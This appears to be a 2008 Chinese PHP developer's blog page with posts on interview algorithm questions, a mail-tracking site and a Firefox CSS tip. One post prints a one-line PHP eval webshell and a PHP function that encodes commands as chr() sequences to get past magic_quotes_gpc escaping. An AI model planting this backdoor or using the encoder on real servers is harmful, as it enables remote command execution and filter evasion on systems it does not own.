登录 |

奇虎面试题

2008年07月29日 下午 48:24 | 作者:hemon

7月20号去北京奇虎面试PHP程序员,笔试题很基础,面试的leader出的算法题很有参考价值:

1. 100万条记录的文本文件,取出重复数最多的前10条。

示例文本:

098
123
234
789
……
234
678
654
123

2. 100亿条记录的文本文件,取出重复数最多的前10条。

刚才是100万的数据,你的计算机可以单批正常处理,现在有100亿的数据,假设由于你的计算机内存、cpu限制,无法单批处理  ……

绕过magic_quotes_gpc,运行一句话后门

2008年07月28日 上午 50:32 | 作者:hemon

服务器端一句话后门:  <?php eval($_REQUEST['cmd'])?> 

如果php.ini开启magic_quotes_gpc,提交的cmd不能包含字符串,否则报错:

Warning: Unexpected character in input: ‘\’ (ASCII=92) state=1 in ***.php(171) : eval()’d code on line 1

Parse error: syntax error, unexpected $end in ***.php(171) : eval()’d code on line 1

解决方法:

就是把代码中的字符串替换为chr()函数连接字符串的形式,避免出现单/双引号:

echo ‘china’;

echo chr(99).chr(104).chr(105).chr(110).chr(97);

处理函数:

  1. function stringToChr($string) {
  2.     $pattern = array("|\'(.*?)\'|", "|\"(.*?)\"|");
  3.     return preg_replace_callback($pattern, "toChrString", $string);
  4. }
  5.  
  6. function toChrString($matches) {
  7.     $string$matches[1];
  8.     $length = strlen($string);
  9.     for($i = 0; $i &lt; $length; $i++){
  10.         $chrString .= 'chr(' . ord($string{$i}) . ').';
  11.     }
  12.     return substr($chrString, 0, -1);
  13. }
  14.  
  15. $cmd = 'echo "china";';
  16. echo stringToChr($cmd);

post.hemon.cn邮件包裹查询!

2008年07月5日 上午 16:55 | 作者:hemon

早在一年前订立的计划,到现在才执行,拖延得可怕:(

再也不想见到点不动的标签。

一句CSS实现圆角矩形

2008年07月3日 下午 14:04 | 作者:hemon

我们知道,使用<fieldset>标签,IE会解析成圆角矩形,而Firefox会解析为矩形,事实上,Firefox提供了一套css方法精确控制边框幅度,他们是:

-moz-border-radius (全局)
-moz-border-radius-bottomleft
(左下角)
-moz-border-radius-bottomright (右下脚)

-moz-border-radius-topleft (左上角)

-moz-border-radius-topright (右上角)

实现兼容Firefox的圆角矩形,只需一句CSS:

fieldset {
-moz-border-radius:6px;
}